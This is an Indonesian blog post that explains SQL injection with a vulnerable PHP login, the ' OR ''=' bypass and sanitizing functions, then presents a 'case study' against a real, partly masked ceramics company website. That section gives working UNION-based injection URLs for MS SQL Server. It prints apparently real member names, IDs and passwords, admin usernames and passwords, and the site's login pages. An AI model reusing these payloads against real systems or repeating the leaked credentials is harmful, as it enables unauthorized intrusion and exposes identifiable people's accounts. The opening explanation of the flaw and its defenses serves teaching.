Jumat, 02 Maret 2012

SQL Injection: Sekilas Teori dan Studi Kasus

Anda mungkin pernah mendengar tentang "SQL Injection"... Makhluk apakah itu, dan apa hubungannya dengan suntik-menyuntik (inject)? Well, yang dimaksud dengan SQL Injection adalah suatu metode "menyuntikkan" atau dengan kata lain menyisipkan statement SQL ke dalam variabel yang dikirim ke server yang berupa POST, GET, atau COOKIE. Sebagai contoh, jika Anda mempunyai script seperti ini: $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE user='$username' AND password='$password'";mysql_query($query); Penggalan script di atas adalah contoh suatu proses login yang tidak secure. Nah, bagaimana jadinya kalau ada yang "iseng" memasukkan kode lain di variabel $_GET? Misalnya:Username: Hacker Password: ' OR ''=' Maka query login tadi akan menjadi: "SELECT * FROM users WHERE user='Hacker' AND password='' OR ''=''" Artinya... Sang penyusup dapat lolos dari pengecekan dan login dengan leluasa. Karena dari password yang diinput tadi akan memecah query dan menambahkan suatu kondisi yang bernilai TRUE (''='' adalah TRUE), sehingga hasilnya akan menjadi TRUE AND TRUE = TRUE Selain bisa diinject ke dalam form, SQL Injection bisa dilakukan di celah-celah lain yang mungkin ada di suatu website seperti di URL... Untuk mencegah SQL Injection, maka SEMUA input yang masuk ke script/database harus di-"steril"-kan. Beberapa cara mensterilkan input misalnya dengan: fungsi mysql_real_escape_string() --> http://www.php.net/manual/en/function.mysql-real-escape-string.php htmlentities(), htmlspecialchars(), strip_tags() stripslashes() dan addslashes() Contoh fungsi yang bisa Anda gunakan untuk mensterilkan inputan: function cleanQuery($string) { if(get_magic_quotes_gpc()) // prevents duplicate backslashes { $string = stripslashes($string); } if (phpversion() >= '4.3.0') { $string = mysql_real_escape_string($string); } else { $string = mysql_escape_string($string); } return $string; } Contoh cara penggunaan: cleanQuery($_POST['username']) magic_quotes_gpc secara otomatis menambahkan "\" untuk setiap data yang dikirimkan dari browser (GET, POST, COOKIE). Dengan demikian tidak perlu secara manual menjalankan fungsi addslashes untuk setiap variabel inputan (That's why it's called MAGIC). Akan tetapi, dengan settingan magic_quotes_gpc ON justru banyak kekurangannya... Andai suatu saat script Anda terpaksa dipindahkan ke server yang settingan magic_quotes OFF, atau jika suatu saat admin web hosting Anda mengubah settingan menjadi OFF (sengaja atau tidak sengaja)... maka data-data yang tersimpan di database Anda bisa menjadi tidak bersih. Untuk mengecek apakah settingan magic_quotes_gpc aktif atau tidak, carilah di file PHP.INI baris: magic_quotes_gpc = Off ; magic quotes for incoming GET/POST/Cookie data Pada baris di atas berarti settingannya dalam kondisi OFF Setelah mempelajari teori dan cara menanggulangi SQL Injection, marilah kita sekarang melihat pada kasus "real" di dunia nyata. Berikut ini adalah studi kasus SQL Injection yang pernah saya uji pada sebuah website produsen material bangunan terkemuka di Indonesia. Karena sekarang websitenya sudah dibetulkan dari celah SQL Injection, maka tak salah bukan kalau saya membaginya di sini? :) Salah satu syarat menguasai SQL Injection dan juga metode mengatasinya, mau tak mau Anda harus menguasai SQL statement dari DBMS (Database Management System) yang dipergunakan. Pada contoh di bawah ini, database yang dipakai adalah Microsoft SQL Server dengan ASP scripting. Teknik SQL Injection yang dipraktekkan di bawah ini sering dinamakan Blind SQL Injection. Karena mengandalkan dari pesan error yang dikeluarkan oleh script program ketika SQL statement dipecah/diinject... Seolah-olah Anda seperti orang buta yang meraba-raba untuk mengetahui jalan (dalam hal ini struktur database korban). Sayangnya saya tidak sempat menyimpan error message dalam bentuk text maupun printscreen (maafkan saya)... Okay cukup pengantarnya, di bawah ini adalah statement2 yang saya gunakan untuk mendapatkan username beserta password member: http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30x30'%20UNION%20SELECT%20TOP%201%20COLUMN_NAME%20,1,2,3,4,5,6,7,8 %20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='member'%20AND%20COLUMN_NAME %20NOT%20IN%20('member_id','password','salutation','fullname','company','title','address','country','phone', 'mobile','email','joindate','flagactive','flagnews','lastlogin')-- http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30x30'%20UNION%20SELECT%20TOP%201%20convert(int,%20password%2b'%20morpheus') ,1,2,3,4,5,6,7,8%20FROM%20member%20where%20member_id%20LIKE%20'E%25'-- http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30x30'%20UNION%20SELECT%20TOP%201%20member_id,1,2,3,4,5,6,7,8%20 FROM%20member%20where%20member_id%20LIKE%20'E%25'-- ----------------------------------------------------- FULLNAME MEMBER_ID PASSWORD ----------------------------------------------------- Mohammed Al Abbas ABBAS 185111 Guido BALDERS BALDERS 995094 Rolando Campollo CAMPOLLO 977756 Fauzy Fauzy 872335 Untuk mendapatkan admin & passwordnya: http://www.r**anceramics.com/roman/product/floor/collection.asp?size=30x30'%20UNION%20SELECT%20TOP%201%20COLUMN_NAME%20,1,2,3,4,5,6,7,8 %20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='admin'%20AND%20 COLUMN_NAME%20NOT%20IN%20('admin_id','password','name','access_level')-- ----------------------------------------------------- ADMIN_ID PASSWORD ----------------------------------------------------- admin srkioke adrianto karawaci david newadmin florence newadmin yonathan admin123 ================================== LOGIN PAGE - MEMBER ================================== http://www.r**anceramics.com/roman/more/default.asp ================================== LOGIN PAGE - ADMIN ================================== http://www.r**anceramics.com/roman/admin Anda bisa lihat betapa berbahayanya tidak membersihkan variabel yang dikirimkan oleh browser... Karena pada dasarnya apapun yang berasal dari browser (user) adalah dalam kekuasaannya dan bisa diotak-atik sebelum dikirimkan. Pada contoh ini saya hanya mendapatkan satu celah di file http://www.r**anceramics.com/roman/product/floor/collection.asp... Akan tetapi cukup untuk mendapatkan semua data yang dibutuhkan. Mengerikan bukan? Bagaimana bila penyusup berniat jahat? Menghapus semua tabel di database Anda tentu bukan hal yang sulit dengan perintah DROP... dan BOOM! Hilanglah semua data customer Anda... Ada pula developer yang mengamankan datanya dengan cara "brutal", yaitu mengenkripsi semua data dalam database dengan harapan bahwa data tidak akan terbaca meskipun berhasil diekstrak oleh penyusup. Alih-alih mendapatkan sistem yang lebih secure, justru proses query dan pengolahan data menjadi lebih lama dan membebani server... apalagi jika jumlah record bertambah banyak. Jadi kesimpulannya untuk mengatasi SQL Injection, amankanlah semua data yang dikirimkan balik oleh browser kepada sistem dan hindarilah (kalau perlu ubah) error message SQL apabila terjadi kesalahan. Memang betul tidak ada sistem yang 100% sempurna, namun sebisa mungkin kita harus menutup celah bagi penyusup... Sumber : http://jendralmm.blogspot.com/2012/02/sql-injection-sekilas-teori-dan-studi.html#ixzz1o3bkQMkg

Tidak ada komentar:

Posting Komentar

Free Download 4shared Premium Gratis

http://bengkelweb.co.de/4shared/

Valid CSS!

LinuxHQ LinuxHQ
Free Automatic Backlink Religion (Islam) - TOP.ORG Religion blogs powered by PRBbutton Religion Blogs - Blog Rankings rantop.com Saung Link SEO-Supreme Professional search tools for free Get Freebl Religion Blogs